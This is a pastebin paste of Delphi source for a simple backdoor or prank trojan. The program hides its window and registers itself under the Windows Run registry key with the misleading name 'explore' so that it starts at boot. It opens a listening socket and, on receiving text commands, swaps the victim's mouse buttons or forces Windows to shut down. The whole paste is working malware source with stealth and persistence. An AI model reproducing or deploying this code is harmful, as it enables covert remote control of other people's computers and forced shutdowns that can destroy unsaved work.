
Untitled
By: a guest on
Jun 22nd, 2012 | syntax:
None | size: 1.07 KB | hits: 18 | expires: Never
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp,registry;
type
TForm1 = class(TForm)
ss: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
reg: Tregistry;
i: string;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
ss.Open;
reg:=tregistry.Create;
reg.RootKey:=hkey_local_machine;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('explore',application.ExeName);
reg.CloseKey;
application.ShowMainForm:=false;
reg.Free;
end;
procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
i:=ss.Socket.ReceiveText;
if i='поменять клавиши мышки' then
begin;
SwapMouseButton(true);
end;
if i='windows exit' then
begin;
ExitWindowsEx(EWX_FORCE,0);
end;
end;
end.